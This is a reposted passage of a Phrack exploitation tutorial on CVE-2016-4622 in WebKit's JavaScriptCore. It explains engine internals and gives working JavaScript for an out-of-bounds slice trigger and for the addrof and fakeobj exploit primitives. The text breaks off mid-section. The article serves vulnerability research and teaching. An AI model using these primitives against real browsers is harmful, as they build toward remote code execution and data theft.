转:http://phrack.org/papers/attacking_javascript_engines.html

Title : Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622

Author : saelo
Date : October 27, 2016
  1. |=-----------------------------------------------------------------------=|
  2. |=---------------=[ The Art of Exploitation ]=---------------=|
  3. |=-----------------------------------------------------------------------=|
  4. |=------------------=[ Attacking JavaScript Engines ]=-------------------=|
  5. |=--------=[ A case study of JavaScriptCore and CVE-2016-4622 ]=---------=|
  6. |=-----------------------------------------------------------------------=|
  7. |=----------------------------=[ saelo ]=--------------------------------=|
  8. |=-----------------------=[ phrack@saelo.net ]=--------------------------=|
  9. |=-----------------------------------------------------------------------=|
  10.  
  11. --[ Table of contents
  12.  
  13. 0 - Introduction
  14. 1 - JavaScriptCore overview
  15. 1.1 - Values, the VM, and (NaN-)boxing
  16. 1.2 - Objects and arrays
  17. 1.3 - Functions
  18. 2 - The bug
  19. 2.1 - The vulnerable code
  20. 2.2 - About JavaScript type conversions
  21. 2.3 - Exploiting with valueOf
  22. 2.4 - Reflecting on the bug
  23. 3 - The JavaScriptCore heaps
  24. 3.1 - Garbage collector basics
  25. 3.2 - Marked space
  26. 3.3 - Copied space
  27. 4 - Constructing exploit primitives
  28. 4.1 - Prerequisites: Int64
  29. 4.2 - addrof and fakeobj
  30. 4.3 - Plan of exploitation
  31. 5 - Understanding the JSObject system
  32. 5.1 - Property storage
  33. 5.2 - JSObject internals
  34. 5.3 - About structures
  35. 6 - Exploitation
  36. 6.1 - Predicting structure IDs
  37. 6.2 - Putting things together: faking a Float64Array
  38. 6.3 - Executing shellcode
  39. 6.4 - Surviving garbage collection
  40. 6.5 - Summary
  41. 7 - Abusing the renderer process
  42. 7.1 - WebKit process and privilege model
  43. 7.2 - The same-origin policy
  44. 7.3 - Stealing emails
  45. 8 - References
  46. 9 - Source code
  47.  
  48. --[ 0 - Introduction
  49.  
  50. This article strives to give an introduction to the topic of JavaScript
  51. engine exploitation at the example of a specific vulnerability. The
  52. particular target will be JavaScriptCore, the engine inside WebKit.
  53.  
  54. The vulnerability in question is CVE-2016-4622 and was discovered by yours
  55. truly in early 2016, then reported as ZDI-16-485 [1]. It allows an attacker
  56. to leak addresses as well as inject fake JavaScript objects into the
  57. engine. Combining these primitives will result in remote code execution
  58. inside the renderer process. The bug was fixed in 650552a. Code snippets in
  59. this article were taken from commit 320b1fc, which was the last vulnerable
  60. revision. The vulnerability was introduced approximately one year earlier
  61. with commit 2fa4973. All exploit code was tested on Safari 9.1.1.
  62.  
  63. The exploitation of said vulnerability requires knowledge of various engine
  64. internals, which are, however, also quite interesting by themselves. As
  65. such various pieces that are part of a modern JavaScript engine will be
  66. discussed along the way. We will focus on the implementation of
  67. JavaScriptCore, but the concepts will generally be applicable to other
  68. engines as well.
  69.  
  70. Prior knowledge of the JavaScript language will, for the most part, not be
  71. required.
  72.  
  73. --[ 1 - JavaScript engine overview
  74.  
  75. On a high level, a JavaScript engine contains
  76.  
  77. * a compiler infrastructure, typically including at least one
  78. just-in-time (JIT) compiler
  79.  
  80. * a virtual machine that operates on JavaScript values
  81.  
  82. * a runtime that provides a set of builtin objects and functions
  83.  
  84. We will not be concerned about the inner workings of the compiler
  85. infrastructure too much as they are mostly irrelevant to this specific bug.
  86. For our purposes it suffices to treat the compiler as a black box which
  87. emits bytecode (and potentially native code in the case of a JIT compiler)
  88. from the given source code.
  89.  
  90. ----[ 1.1 - The VM, Values, and NaN-boxing
  91.  
  92. The virtual machine (VM) typically contains an interpreter which can
  93. directly execute the emitted bytecode. The VM is often implemented as
  94. stack-based machines (in contrast to register-based machines) and thus
  95. operate around a stack of values. The implementation of a specific opcode
  96. handler might then look something like this:
  97.  
  98. CASE(JSOP_ADD)
  99. {
  100. MutableHandleValue lval = REGS.stackHandleAt(-2);
  101. MutableHandleValue rval = REGS.stackHandleAt(-1);
  102. MutableHandleValue res = REGS.stackHandleAt(-2);
  103. if (!AddOperation(cx, lval, rval, res))
  104. goto error;
  105. REGS.sp--;
  106. }
  107. END_CASE(JSOP_ADD)
  108.  
  109. Note that this example is actually taken from Firefox' Spidermonkey engine
  110. as JavaScriptCore (from here on abbreviated as JSC) uses an interpreter
  111. that is written in a form of assembly language and thus not quite as
  112. straightforward as the above example. The interested reader can however
  113. find the implementation of JSC's low-level interpreter (llint) in
  114. LowLevelInterpreter64.asm.
  115.  
  116. Often the first stage JIT compiler (sometimes called baseline JIT) takes
  117. care of removing some of the dispatching overhead of the interpreter while
  118. higher stage JIT compilers perform sophisticated optimizations, similar to
  119. the ahead-of-time compilers we are used to. Optimizing JIT compilers are
  120. typically speculative, meaning they will perform optimizations based on
  121. some speculation, e.g. 'this variable will always contain a number'.
  122. Should the speculation ever turn out to be incorrect, the code will usually
  123. bail out to one of the lower tiers. For more information about the
  124. different execution modes the reader is referred to [2] and [3].
  125.  
  126. JavaScript is a dynamically typed language. As such, type information is
  127. associated with the (runtime) values rather than (compile-time) variables.
  128. The JavaScript type system [4] defines primitive types (number, string,
  129. boolean, null, undefined, symbol) and objects (including arrays and
  130. functions). In particular, there is no concept of classes in the JavaScript
  131. language as is present in other languages. Instead, JavaScript uses what is
  132. called "prototype-based-inheritance", where each objects has a (possibly
  133. null) reference to a prototype object whose properties it incorporates.
  134. The interested reader is referred to the JavaScript specification [5] for
  135. more information.
  136.  
  137. All major JavaScript engines represent a value with no more than 8 bytes
  138. for performance reasons (fast copying, fits into a register on 64-bit
  139. architectures). Some engines like Google's v8 use tagged pointers to
  140. represent values. Here the least significant bits indicate whether the
  141. value is a pointer or some form of immediate value. JavaScriptCore (JSC)
  142. and Spidermonkey in Firefox on the other hand use a concept called
  143. NaN-boxing. NaN-boxing makes use of the fact that there exist multiple bit
  144. patterns which all represent NaN, so other values can be encoded in these.
  145. Specifically, every IEEE 754 floating point value with all exponent bits
  146. set, but a fraction not equal to zero represents NaN. For double precision
  147. values [6] this leaves us with 2^51 different bit patterns (ignoring the
  148. sign bit and setting the first fraction bit to one so nullptr can still be
  149. represented). That's enough to encode both 32-bit integers and pointers,
  150. since even on 64-bit platforms only 48 bits are currently used for
  151. addressing.
  152.  
  153. The scheme used by JSC is nicely explained in JSCJSValue.h, which the
  154. reader is encouraged to read. The relevant part is quoted below as it will
  155. be important later on:
  156.  
  157. * The top 16-bits denote the type of the encoded JSValue:
  158. *
  159. * Pointer { 0000:PPPP:PPPP:PPPP
  160. * / 0001:****:****:****
  161. * Double { ...
  162. * \ FFFE:****:****:****
  163. * Integer { FFFF:0000:IIII:IIII
  164. *
  165. * The scheme we have implemented encodes double precision values by
  166. * performing a 64-bit integer addition of the value 2^48 to the number.
  167. * After this manipulation no encoded double-precision value will begin
  168. * with the pattern 0x0000 or 0xFFFF. Values must be decoded by
  169. * reversing this operation before subsequent floating point operations
  170. * may be performed.
  171. *
  172. * 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
  173. *
  174. * The tag 0x0000 denotes a pointer, or another form of tagged
  175. * immediate. Boolean, null and undefined values are represented by
  176. * specific, invalid pointer values:
  177. *
  178. * False: 0x06
  179. * True: 0x07
  180. * Undefined: 0x0a
  181. * Null: 0x02
  182. *
  183.  
  184. Interestingly, 0x0 is not a valid JSValue and will lead to a crash inside
  185. the engine.
  186.  
  187. ----[ 1.2 - Objects and Arrays
  188.  
  189. Objects in JavaScript are essentially collections of properties which are
  190. stored as (key, value) pairs. Properties can be accessed either with the
  191. dot operator (foo.bar) or through square brackets (foo['bar']). At least in
  192. theory, values used as keys are converted to strings before performing the
  193. lookup.
  194.  
  195. Arrays are described by the specification as special ("exotic") objects
  196. whose properties are also called elements if the property name can be
  197. represented by a 32-bit integer [7]. Most engines today extend this notion
  198. to all objects. An array then becomes an object with a special 'length'
  199. property whose value is always equal to the index of the highest element
  200. plus one. The net result of all this is that every object has both
  201. properties, accessed through a string or symbol key, and elements, accessed
  202. through integer indices.
  203.  
  204. Internally, JSC stores both properties and elements in the same memory
  205. region and stores a pointer to that region in the object itself. This
  206. pointer points to the middle of the region, properties are stored to the
  207. left of it (lower addresses) and elements to the right of it. There is also
  208. a small header located just before the pointed to address that contains
  209. the length of the element vector. This concept is called a "Butterfly"
  210. since the values expand to the left and right, similar to the wings of a
  211. butterfly. Presumably. In the following, we will refer to both the pointer
  212. and the memory region as "Butterfly". In case it is not obvious from the
  213. context, the specific meaning will be noted.
  214.  
  215. --------------------------------------------------------
  216. .. | propY | propX | length | elem0 | elem1 | elem2 | ..
  217. --------------------------------------------------------
  218. ^
  219. |
  220. +---------------+
  221. |
  222. +-------------+
  223. | Some Object |
  224. +-------------+
  225.  
  226. Although typical, elements do not have to be stored linearly in memory.
  227. In particular, code such as
  228.  
  229. a = [];
  230. a[0] = 42;
  231. a[10000] = 42;
  232.  
  233. will likely lead to an array stored in some kind of sparse mode, which
  234. performs an additional mapping step from the given index to an index into
  235. the backing storage. That way this array does not require 10001 value
  236. slots. Besides the different array storage models, arrays can also store
  237. their data using different representations. For example, an array of 32-bit
  238. integers could be stored in native form to avoid the (NaN-)unboxing and
  239. reboxing process during most operations and save some memory. As such, JSC
  240. defines a set of different indexing types which can be found in
  241. IndexingType.h. The most important ones are:
  242.  
  243. ArrayWithInt32 = IsArray | Int32Shape;
  244. ArrayWithDouble = IsArray | DoubleShape;
  245. ArrayWithContiguous = IsArray | ContiguousShape;
  246.  
  247. Here, the last type stores JSValues while the former two store their native
  248. types.
  249.  
  250. At this point the reader probably wonders how a property lookup is
  251. performed in this model. We will dive into this extensively later on, but
  252. the short version is that a special meta-object, called a "structure" in
  253. JSC, is associated with every object which provides a mapping from property
  254. names to slot numbers.
  255.  
  256. ----[ 1.3 - Functions
  257.  
  258. Functions are quite important in the JavaScript language. As such they
  259. deserve some discussion on their own.
  260.  
  261. When executing a function's body, two special variables become available.
  262. One of them, 'arguments' provides access to the arguments (and caller) of
  263. the function, thus enabling the creation of function with a variable number
  264. of arguments. The other, 'this', refers to different objects depending on
  265. the invocation of the function:
  266.  
  267. * If the function was called as a constructor (using 'new func()'),
  268. then 'this' points to the newly created object. Its prototype has
  269. already been set to the .prototype property of the function object,
  270. which is set to a new object during function definition.
  271.  
  272. * If the function was called as a method of some object (using
  273. 'obj.func()'), then 'this' will point to the reference object.
  274.  
  275. * Else 'this' simply points to the current global object, as it does
  276. outside of a function as well.
  277.  
  278. Since functions are first class objects in JavaScript they too can have
  279. properties. We've already seen the .prototype property above. Two other
  280. quite interesting properties of each function (actually of the function
  281. prototype) are the .call and .apply functions, which allow calling the
  282. function with a given 'this' object and arguments. This can for example be
  283. used to implement decorator functionality:
  284.  
  285. function decorate(func) {
  286. return function() {
  287. for (var i = 0; i < arguments.length; i++) {
  288. // do something with arguments[i]
  289. }
  290. return func.apply(this, arguments);
  291. };
  292. }
  293.  
  294. This also has some implications on the implementation of JavaScript
  295. functions inside the engine as they cannot make any assumptions about the
  296. value of the reference object which they are called with, as it can be set
  297. to arbitrary values from script. Thus, all internal JavaScript functions
  298. will need to check the type of not only their arguments but also of the
  299. this object.
  300.  
  301. Internally, the built-in functions and methods [8] are usually implemented
  302. in one of two ways: as native functions in C++ or in JavaScript itself.
  303. Let's look at a simple example of a native function in JSC: the
  304. implementation of Math.pow():
  305.  
  306. EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
  307. {
  308. // ECMA 15.8.2.1.13
  309.  
  310. double arg = exec->argument(0).toNumber(exec);
  311. double arg2 = exec->argument(1).toNumber(exec);
  312.  
  313. return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
  314. }
  315.  
  316. We can see:
  317.  
  318. 1. The signature for native JavaScript functions
  319.  
  320. 2. How arguments are extracted using the argument method (which returns
  321. the undefined value if not enough arguments were provided)
  322.  
  323. 3. How arguments are converted to their required type. There is a set
  324. of conversion rules governing the conversion of e.g. arrays to
  325. numbers which toNumber will make use of. More on these later.
  326.  
  327. 4. How the actual operation is performed on the native data type
  328.  
  329. 5. How the result is returned to the caller. In this case simply by
  330. encoding the resulting native number into a value.
  331.  
  332. There is another pattern visible here: the core implementation of various
  333. operations (in this case operationMathPow) are moved into separate
  334. functions so they can be called directly from JIT compiled code.
  335.  
  336. --[ 2 - The bug
  337.  
  338. The bug in question lies in the implementation of Array.prototype.slice
  339. [9]. The native function arrayProtoFuncSlice, located in
  340. ArrayPrototype.cpp, is invoked whenever the slice method is called in
  341. JavaScript:
  342.  
  343. var a = [1, 2, 3, 4];
  344. var s = a.slice(1, 3);
  345. // s now contains [2, 3]
  346.  
  347. The implementation is given below with minor reformatting, some omissions
  348. for readability, and markers for the explanation below. The full
  349. implementation can be found online as well [10].
  350.  
  351. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
  352. {
  353. /* [[ 1 ]] */
  354. JSObject* thisObj = exec->thisValue()
  355. .toThis(exec, StrictMode)
  356. .toObject(exec);
  357. if (!thisObj)
  358. return JSValue::encode(JSValue());
  359.  
  360. /* [[ 2 ]] */
  361. unsigned length = getLength(exec, thisObj);
  362. if (exec->hadException())
  363. return JSValue::encode(jsUndefined());
  364.  
  365. /* [[ 3 ]] */
  366. unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
  367. unsigned end =
  368. argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
  369.  
  370. /* [[ 4 ]] */
  371. std::pair<SpeciesConstructResult, JSObject*> speciesResult =
  372. speciesConstructArray(exec, thisObj, end - begin);
  373. // We can only get an exception if we call some user function.
  374. if (UNLIKELY(speciesResult.first ==
  375. SpeciesConstructResult::Exception))
  376. return JSValue::encode(jsUndefined());
  377.  
  378. /* [[ 5 ]] */
  379. if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
  380. isJSArray(thisObj))) {
  381. if (JSArray* result =
  382. asArray(thisObj)->fastSlice(*exec, begin, end - begin))
  383. return JSValue::encode(result);
  384. }
  385.  
  386. JSObject* result;
  387. if (speciesResult.first == SpeciesConstructResult::CreatedObject)
  388. result = speciesResult.second;
  389. else
  390. result = constructEmptyArray(exec, nullptr, end - begin);
  391.  
  392. unsigned n = 0;
  393. for (unsigned k = begin; k < end; k++, n++) {
  394. JSValue v = getProperty(exec, thisObj, k);
  395. if (exec->hadException())
  396. return JSValue::encode(jsUndefined());
  397. if (v)
  398. result->putDirectIndex(exec, n, v);
  399. }
  400. setLength(exec, result, n);
  401. return JSValue::encode(result);
  402. }
  403.  
  404. The code essentially does the following:
  405.  
  406. 1. Obtain the reference object for the method call (this will be the
  407. array object)
  408.  
  409. 2. Retrieve the length of the array
  410.  
  411. 3. Convert the arguments (start and end index) into native integer
  412. types and clamp them to the range [0, length)
  413.  
  414. 4. Check if a species constructor [11] should be used
  415.  
  416. 5. Perform the slicing
  417.  
  418. The last step is done in one of two ways: if the array is a native array
  419. with dense storage, 'fastSlice' will be used which just memcpy's the values
  420. into the new array using the given index and length. If the fast path is
  421. not possible, a simple loop is used to fetch each element and add it to the
  422. new array. Note that, in contrast to the property accessors used on the
  423. slow path, fastSlice does not perform any additional bounds checking... ;)
  424.  
  425. Looking at the code, it is easy to assume that the variables 'begin' and
  426. `end` would be smaller than the size of the array after they had been
  427. converted to native integers. However, we can violate that assumption by
  428. (ab)using the JavaScript type conversion rules.
  429.  
  430. ----[ 2.2 - About JavaScript conversion rules
  431.  
  432. JavaScript is inherently weakly typed, meaning it will happily convert
  433. values of different types into the type that it currently requires.
  434. Consider Math.abs(), which returns the absolute value of the argument. All
  435. of the following are "valid" invocations, meaning they won't raise an
  436. exception:
  437.  
  438. Math.abs(-42); // argument is a number
  439. // 42
  440. Math.abs("-42"); // argument is a string
  441. // 42
  442. Math.abs([]); // argument is an empty array
  443. // 0
  444. Math.abs(true); // argument is a boolean
  445. // 1
  446. Math.abs({}); // argument is an object
  447. // NaN
  448.  
  449. In contrast, strongly-typed languages such as python will usually raise an
  450. exception (or, in case of statically-typed languages, issue a compiler
  451. error) if e.g. a string is passed to abs().
  452.  
  453. The conversion rules for numeric types are described in [12]. The rules
  454. governing the conversion from object types to numbers (and primitive types
  455. in general) are especially interesting. In particular, if the object has a
  456. callable property named "valueOf", this method will be called and the
  457. return value used if it is a primitive value. And thus:
  458.  
  459. Math.abs({valueOf: function() { return -42; }});
  460. // 42
  461.  
  462. ----[ 2.3 - Exploiting with "valueOf"
  463.  
  464. In the case of `arrayProtoFuncSlice` the conversion to a primitive type is
  465. performed in argumentClampedIndexFromStartOrEnd. This method also clamps
  466. the arguments to the range [0, length):
  467.  
  468. JSValue value = exec->argument(argument);
  469. if (value.isUndefined())
  470. return undefinedValue;
  471.  
  472. double indexDouble = value.toInteger(exec); // Conversion happens here
  473. if (indexDouble < 0) {
  474. indexDouble += length;
  475. return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
  476. }
  477. return indexDouble > length ? length :
  478. static_cast<unsigned>(indexDouble);
  479.  
  480. Now, if we modify the length of the array inside a valueOf function of one
  481. of the arguments, then the implementation of slice will continue to use the
  482. previous length, resulting in an out-of-bounds access during the memcpy.
  483.  
  484. Before doing this however, we have to make sure that the element storage is
  485. actually resized if we shrink the array. For that let's have a quick look
  486. at the implementation of the .length setter. From JSArray::setLength:
  487.  
  488. unsigned lengthToClear = butterfly->publicLength() - newLength;
  489. unsigned costToAllocateNewButterfly = 64; // a heuristic.
  490. if (lengthToClear > newLength &&
  491. lengthToClear > costToAllocateNewButterfly) {
  492. reallocateAndShrinkButterfly(exec->vm(), newLength);
  493. return true;
  494. }
  495.  
  496. This code implements a simple heuristic to avoid relocating the array too
  497. often. To force a relocation of our array we will thus need the new size to
  498. be much less then the old size. Resizing from e.g. 100 elements to 0 will
  499. do the trick.
  500.  
  501. With that, here's how we can exploit Array.prototype.slice:
  502.  
  503. var a = [];
  504. for (var i = 0; i < 100; i++)
  505. a.push(i + 0.123);
  506.  
  507. var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
  508. // b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
  509.  
  510. The correct output would have been an array of size 10 filled with
  511. 'undefined' values since the array has been cleared prior to the slice
  512. operation. However, we can see some float values in the array. Seems like
  513. we've read some stuff past the end of the array elements :)
  514.  
  515. ----[ 2.4 - Reflecting on the bug
  516.  
  517. This particular programming mistake is not new and has been exploited for a
  518. while now [13, 14, 15]. The core problem here is (mutable) state that is
  519. "cached" in a stack frame (in this case the length of the array object) in
  520. combination with various callback mechanisms that can execute user supplied
  521. code further down in the call stack (in this case the "valueOf" method).
  522. With this setting it is quite easy to make false assumptions about the
  523. state of the engine throughout a function. The same kind of problem
  524. appears in the DOM as well due to the various event callbacks.
  525.  
  526. --[ 3 - The JavaScriptCore heaps
  527.  
  528. At this point we've read data past our array but don't quite know what we
  529. are accessing there. To understand this, some background knowledge about
  530. the JSC heap allocators is required.
  531.  
  532. ----[ 3.1 - Garbage collector basics
  533.  
  534. JavaScript is a garbage collected language, meaning the programmer does not
  535. need to care about memory management. Instead, the garbage collector will
  536. collect unreachable objects from time to time.
  537.  
  538. One approach to garbage collection is reference counting, which is used
  539. extensively in many applications. However, as of today, all major
  540. JavaScript engines instead use a mark and sweep algorithm. Here the
  541. collector regularly scans all alive objects, starting from a set of root
  542. nodes, and afterwards frees all dead objects. The root nodes are usually
  543. pointers located on the stack as well as global objects like the 'window'
  544. object in a web browser context.
  545.  
  546. There are various distinctions between garbage collection systems. We will
  547. now discuss some key properties of garbage collection systems which should
  548. help the reader understand some of the related code. Readers familiar with
  549. the subject are free to skip to the end of this section.
  550.  
  551. First off, JSC uses a conservative garbage collector [16]. In essence, this
  552. means that the GC does not keep track of the root nodes itself. Instead,
  553. during GC it will scan the stack for any value that could be a pointer into
  554. the heap and treats those as root nodes. In contrast, e.g. Spidermonkey
  555. uses a precise garbage collector and thus needs to wrap all references to
  556. heap objects on the stack inside a pointer class (Rooted<>) that takes care
  557. of registering the object with the garbage collector.
  558.  
  559. Next, JSC uses an incremental garbage collector. This kind of garbage
  560. collector performs the marking in several steps and allows the application
  561. to run in between, reducing GC latency. However, this requires some
  562. additional effort to work correctly. Consider the following case:
  563.  
  564. * the GC runs and visits some object O and all its referenced objects.
  565. It marks them as visited and later pauses so the application can run
  566. again.
  567.  
  568. * O is modified and a new reference to another Object P is added to it.
  569.  
  570. * Then the GC runs again but it doesn't know about P. It finishes the
  571. marking phase and frees the memory of P.
  572.  
  573. To avoid this scenario, so called write barriers are inserted into the
  574. engine. These take care of notifying the garbage collector in such a
  575. scenario. These barriers are implemented in JSC with the WriteBarrier<>
  576. and CopyBarrier<> classes.
  577.  
  578. Last, JSC uses both, a moving and a non-moving garbage collector. A moving
  579. garbage collector moves live objects to a different location and updates
  580. all pointers to these objects. This optimizes for the case of many dead
  581. objects since there is no runtime overhead for these: instead of adding
  582. them to a free list, the whole memory region is simply declared free. JSC
  583. stores the JavaScript objects itself, together with a few other objects,
  584. inside a non-moving heap, the marked space, while storing the butterflies
  585. and other arrays inside a moving heap, the copied space.
  586.  
  587. ----[ 3.2 - Marked space
  588.  
  589. The marked space is a collection of memory blocks that keep track of the
  590. allocated cells. In JSC, every object allocated in marked space must
  591. inherit from the JSCell class and thus starts with an eight byte header,
  592. which, among other fields, contains the current cell state as used by the
  593. GC. This field is used by the collector to keep track of the cells that it
  594. has already visited.
  595.  
  596. There is another thing worth mentioning about the marked space: JSC stores
  597. a MarkedBlock instance at the beginning of each marked block:
  598.  
  599. inline MarkedBlock* MarkedBlock::blockFor(const void* p)
  600. {
  601. return reinterpret_cast<MarkedBlock*>(
  602. reinterpret_cast<Bits>(p) & blockMask);
  603. }
  604.  
  605. This instance contains among other things a pointers to the owning Heap
  606. and VM instance which allows the engine to obtain these if they are not
  607. available in the current context. This makes it more difficult to set up
  608. fake objects, as a valid MarkedBlock instance might be required when
  609. performing certain operations. It is thus desirable to create fake objects
  610. inside a valid marked block if possible.
  611.  
  612. ----[ 3.3 - Copied space
  613.  
  614. The copied space stores memory buffers that are associated with some object
  615. inside the marked space. These are mostly butterflies, but the contents of
  616. typed arrays may also be located here. As such, our out-of-bounds access
  617. happens in this memory region.
  618.  
  619. The copied space allocator is very simple:
  620.  
  621. CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out)
  622. {
  623. ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));
  624.  
  625. size_t currentRemaining = m_currentRemaining;
  626. if (bytes > currentRemaining)
  627. return false;
  628. currentRemaining -= bytes;
  629. m_currentRemaining = currentRemaining;
  630. *out = m_currentPayloadEnd - currentRemaining - bytes;
  631.  
  632. ASSERT(is8ByteAligned(*out));
  633.  
  634. return true;
  635. }
  636.  
  637. This is essentially a bump allocator: it will simply return the next N
  638. bytes of memory in the current block until the block is completely used.
  639. Thus, it is almost guaranteed that two following allocations will be placed
  640. adjacent to each other in memory (the edge case being that the first fills
  641. up the current block).
  642.  
  643. This is good news for us. If we allocate two arrays with one element each,
  644. then the two butterflies will be next to each other in virtually every
  645. case.
  646.  
  647. --[ 4 - Building exploit primitives
  648.  
  649. While the bug in question looks like an out-of-bound read at first, it is
  650. actually a more powerful primitive as it lets us "inject" JSValues of our
  651. choosing into the newly created JavaScript arrays, and thus into the
  652. engine.
  653.  
  654. We will now construct two exploit primitives from the given bug, allowing
  655. us to
  656.  
  657. 1. leak the address of an arbitrary JavaScript object and
  658.  
  659. 2. inject a fake JavaScript Object into the engine.
  660.  
  661. We will call these primitives 'addrof' and 'fakeobj'.
  662.  
  663. ----[ 4.1 Prerequisites: Int64
  664.  
  665. As we've previously seen, our exploit primitive currently returns floating
  666. point values instead of integers. In fact, at least in theory, all numbers
  667. in JavaScript are 64-bit floating point numbers [17]. In reality, as
  668. already mentioned, most engines have a dedicated 32-bit integer type for
  669. performance reasons, but convert to floating point values when necessary
  670. (i.e. on overflow). It is thus not possible to represent arbitrary 64-bit
  671. integers (and in particular addresses) with primitive numbers in
  672. JavaScript.
  673.  
  674. As such, a helper module had to be built which allowed storing 64-bit
  675. integer instances. It supports
  676.  
  677. * Initialization of Int64 instances from different argument types:
  678. strings, numbers and byte arrays.
  679.  
  680. * Assigning the result of addition and subtraction to an existing
  681. instance through the assignXXX methods. Using these methods avoids
  682. further heap allocations which might be desirable at times.
  683.  
  684. * Creating new instances that store the result of an addition or
  685. subtraction through the Add and Sub functions.
  686.  
  687. * Converting between doubles, JSValues and Int64 instances such that
  688. the underlying bit pattern stays the same.
  689.  
  690. The last point deserves further discussing. As we've seen above, we obtain
  691. a double whose underlying memory interpreted as native integer is our
  692. desired address. We thus need to convert between native doubles and our
  693. integers such that the underlying bits stay the same. asDouble() can be
  694. thought of as running the following C code:
  695.  
  696. double asDouble(uint64_t num)
  697. {
  698. return *(double*)&num;
  699. }
  700.  
  701. The asJSValue method further respects the NaN-boxing procedure and produces
  702. a JSValue with the given bit pattern. The interested reader is referred to
  703. the int64.js file inside the attached source code archive for more
  704. details.
  705.  
  706. With this out of the way let us get back to building our two exploit
  707. primitives.
  708.  
  709. ----[ 4.2 addrof and fakeobj
  710.  
  711. Both primitives rely on the fact that JSC stores arrays of doubles in
  712. native representation as opposed to the NaN-boxed representation. This
  713. essentially allows us to write native doubles (indexing type
  714. ArrayWithDoubles) but have the engine treat them as JSValues (indexing type
  715. ArrayWithContiguous) and vice versa.
  716.  
  717. So, here are the steps required for exploiting the address leak:
  718.  
  719. 1. Create an array of doubles. This will be stored internally as
  720. IndexingType ArrayWithDouble
  721.  
  722. 2. Set up an object with a custom valueOf function which will
  723.  
  724. 2.1 shrink the previously created array
  725.  
  726. 2.2 allocate a new array containing just the object whose address
  727. we wish to know. This array will (most likely) be placed right
  728. behind the new butterfly since it's located in copied space
  729.  
  730. 2.3 return a value larger than the new size of the array to trigger
  731. the bug
  732.  
  733. 3. Call slice() on the target array the object from step 2 as one of
  734. the arguments
  735.  
  736. We will now find the desired address in the form of a 64-bit floating point
  737. value inside the array. This works because slice() preserves the indexing
  738. type. Our new array will thus treat the data as native doubles as well,
  739. allowing us to leak arbitrary JSValue instances, and thus pointers.
  740.  
  741. The fakeobj primitive works essentially the other way around. Here we
  742. inject native doubles into an array of JSValues, allowing us to create
  743. JSObject pointers:
  744.  
  745. 1. Create an array of objects. This will be stored internally as
  746. IndexingType ArrayWithContiguous
  747.  
  748. 2. Set up an object with a custom valueOf function which will
  749.  
  750. 2.1 shrink the previously created array
  751.  
  752. 2.2 allocate a new array containing just a double whose bit pattern
  753. matches the address of the JSObject we wish to inject. The
  754. double will be stored in native form since the array's
  755. IndexingType will be ArrayWithDouble
  756.  
  757. 2.3 return a value larger than the new size of the array to trigger
  758. the bug
  759.  
  760. 3. Call slice() on the target array the object from step 2 as one of
  761. the arguments
  762.  
  763. For completeness, the implementation of both primitives is printed below.
  764.  
  765. function addrof(object) {
  766. var a = [];
  767. for (var i = 0; i < 100; i++)
  768. a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
  769.  
  770. var hax = {valueOf: function() {
  771. a.length = 0;
  772. a = [object];
  773. return 4;
  774. }};
  775.  
  776. var b = a.slice(0, hax);
  777. return Int64.fromDouble(b[3]);
  778. }
  779.  
  780. function fakeobj(addr) {
  781. var a = [];
  782. for (var i = 0; i < 100; i++)
  783. a.push({}); // Array must be of type ArrayWithContiguous
  784.  
  785. addr = addr.asDouble();
  786. var hax = {valueOf: function() {
  787. a.length = 0;
  788. a = [addr];
  789. return 4;
  790. }};
  791.  
  792. return a.slice(0, hax)[3];
  793. }
  794.  
  795. ----[ 4.3 - Plan of exploitation
  796.  
  797. From here on our goal will be to obtain an arbitrary memory read/write
  798. primitive through a fake JavaScript object. We are faced with the following
  799. questions:
  800.  
  801. Q1. What kind of object do we want to fake?
  802.  
  803. Q2. How do we fake such an object?
  804.  
  805. Q3. Where do we place the faked object so that we know its address?
  806.  
  807. For a while now, JavaScript engines have supported typed arrays [18], an
  808. efficient and highly optimizable storage for raw binary data. These turn
  809. out to be good candidates for our fake object as they are mutable (in
  810. contrast to JavaScript strings) and thus controlling their data pointer
  811. yields an arbitrary read/write primitive usable from script. Ultimately our
  812. goal will now be to fake a Float64Array instance.
  813.  
  814. We will now turn to Q2 and Q3, which require another discussion of JSC
  815. internals, namely the JSObject system.
  816.  
  817. --[ 5 - Understanding the JSObject system
  818.  
  819. JavaScript objects are implemented in JSC by a combination of C++ classes.
  820. At the center lies the JSObject class which is itself a JSCell (and as such
  821. tracked by the garbage collector). There are various subclasses of JSObject
  822. that loosely resemble different JavaScript objects, such as Arrays
  823. (JSArray), Typed arrays (JSArrayBufferView), or Proxys (JSProxy).
  824.  
  825. We will now explore the different parts that make up JSObjects inside the
  826. JSC engine.
  827.  
  828. ----[ 5.1 - Property storage
  829.  
  830. Properties are the most important aspect of JavaScript objects. We have
  831. already seen how properties are stored in the engine: the butterfly. But
  832. that is only half the truth. Besides the butterfly, JSObjects can also have
  833. inline storage (6 slots by default, but subject to runtime analysis),
  834. located right after the object in memory. This can result in a slight
  835. performance gain if no butterfly ever needs to be allocated for an object.
  836.  
  837. The inline storage is interesting for us since we can leak the address of
  838. an object, and thus know the address of its inline slots. These make up a
  839. good candidate to place our fake object in. As added bonus, going this way
  840. we also avoid any problem that might arise when placing an object outside
  841. of a marked block as previously discussed. This answers Q3.
  842.  
  843. Let's turn to Q2 now.
  844.  
  845. ----[ 5.2 - JSObject internals
  846.  
  847. We will start with an example: suppose we run the following piece of JS
  848. code:
  849.  
  850. obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};
  851.  
  852. This will result in the following object:
  853.  
  854. (lldb) x/6gx 0x10cd97c10
  855. 0x10cd97c10: 0x0100150000000136 0x0000000000000000
  856. 0x10cd97c20: 0xffff000000001337 0x0000000000000006
